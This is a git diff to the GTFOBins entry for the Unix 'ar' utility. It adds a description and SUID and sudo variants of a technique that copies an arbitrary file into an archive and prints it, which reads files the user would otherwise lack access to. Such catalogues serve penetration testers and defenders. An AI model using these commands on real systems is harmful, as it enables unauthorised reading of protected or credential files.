diff --git a/_gtfobins/ar.md b/_gtfobins/ar.md index 1a72b35..2e8e300 100644 --- a/_gtfobins/ar.md +++ b/_gtfobins/ar.md @@ -1,9 +1,22 @@ --- +description: The file appears amid the binary content of the archive. functions: file-read: - code: | - OUTFILE=$(mktemp -u) - LFILE=file_to_read - ar r "${OUTFILE}" "${LFILE}" - cat "${OUTFILE}" + code: | + OUTFILE=$(mktemp -u) + LFILE=file_to_read + ar r "$OUTFILE" "$LFILE" + cat "$OUTFILE" + suid: + code: | + OUTFILE=$(mktemp -u) + LFILE=file_to_read + ./ar r "$OUTFILE" "$LFILE" + cat "$OUTFILE" + sudo: + code: | + OUTFILE=$(mktemp -u) + LFILE=file_to_read + sudo ar r "$OUTFILE" "$LFILE" + cat "$OUTFILE" ---